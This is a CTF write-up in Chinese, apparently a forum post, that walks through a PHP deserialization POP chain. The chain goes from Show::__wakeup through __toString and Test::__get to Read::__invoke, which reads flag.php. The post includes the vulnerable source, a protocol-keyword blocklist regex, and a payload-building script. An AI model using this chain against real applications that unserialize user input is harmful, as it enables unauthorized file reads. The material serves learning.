来自于prontosil师傅的文章https://prontosil.club/2019/10/20/yi-dao-fan-xu-lie-hua-ti-de-fen-xi/#more
写此系列文章也是为了促进自己的学习,刚开始学习CTF,然后本人也很懒,所以写文章激励自己~这是一道很特殊的POP链,从一个小白的角度出发来剖析这道题
<?php
error_reporting(1);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString()
{
$this->str['str']->source;
}
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test
{
public $p;
public function __construct()
{
$this->p = array();
}
public function __get($key)
{
$function = $this->p;
return $function();
}
}
if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('index.php');
$show->_show();
}
if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('index.php');
$show->_show();
}
分析:
index.php
的内容根据 Read ()
类中的 file_get()
可以看出这里是反序列化的终点,通过 file_get_content()
函数去读取flag文件
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
为了触发 file_get()
函数我们可以定位到魔术方法 __invoke()
__invoke()
: 当类的一个对象被当成函数调用的时候触发
<?php
class Test
{
public function __invoke($params1,$params2)
{
echo "__invoke()".'<p>';
echo "params1 : {$params1} <p>";
echo "params2 : {$params2} <p>";
}
}
$test = new Test();
$test(123,'aaa');
?>
// 结果显示
//__invoke()
//params1 : 123
//params2 : aaa
所以我们就需要考虑如何触发 __invoke()
这个魔术方法?
定位到 Class Test的 __get()
方法, 此时的$function
参数一定是 Class Read, 这个类会被当做函数执行从而触发了 __invoke()
class Test
{
public $p;
public function __construct()
{
$this->p = array();
}
public function __get($key)
{
$function = $this->p;
return $function();
}
}
__get()
:当访问类中的私有属性或者是不存在的属性, 触发 __get
魔术方法那么问题又来了, 如何触发 __get()
魔术方法呢?
定位到 Class Show
class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString()
{
return $this->str['str']->source;
}
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
看到有一个 __toString()
的 魔术方法, 里面返回了 $this->str['str']->source
, 倘若 $this->str['str']
的值为 Class Test,
那么 $this->str['str']->source
表示的意思就是 去调用了Test类中的不存在的属性source
,从而就会触发 __get()
魔术方法, 那么问题就变成如何触发 __toString()
这个魔术方法了?
__toString()
:当类作为字符串使用时触发下面重难点来了!!!~
传统思维就是找echo
、<?=?>
等输出函数,因为他们默认是把类当作字符串使用,但这里发现无论如何都无法利用,而且一般在做CTF的题的时候,定式思维会认为 __wakeup()
这个魔术方法是需要绕过的,然而这里的 __wakeup()
确实我们反序列化入口的第一步~!
知识点: preg_match()
会将 $this->source
作为字符串使用,然后去匹配
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
所以,如果 source
传入一个 Class Show的时候, 在反序列化开始时就是触发 __wakeup
,然后通过 preg_match
触发 __toString
形成一个完整的反序列化链
完整的链为:
__wakeup(Show) => preg_match => __toString(Test) => __get(Read) => __invoke => file_get => file_get_contents('flag.php')
<?php
class Read {
public $var = 'flag.php';
}
class Show
{
public $source;
public $str;
}
class Test
{
public $p ;
}
$a = new Show();
$a->source = $a; // toString;
$a->str['str'] = new Test();
$a->str['str']->p = new Read();
echo serialize($a);
拿到Flag!~
序列化真的比较困难,需要你耐心推理,做出来的瞬间你会感到神清气爽~还有就是不要被定式思维限制了自己的思维~
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-聂风 | 25.00 | 0 | 2021-04-16 21:09:18 | 投稿活动 |
Track-聂风 | 50.00 | 0 | 2021-04-16 21:09:09 | 加油同学学习,期待同学的纯原创文章 |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
Track-聂风
发表于 2021-4-16
文章地址已经无法访问了,2020年的时候,这个地址就无法访问了,你这个参考来源啥情况?
评论列表
加载数据中...
sunsky666
发表于 2021-4-17
大佬大佬
评论列表
加载数据中...
小黑心
发表于 2021-6-6
感谢大佬 强!!!
评论列表
加载数据中...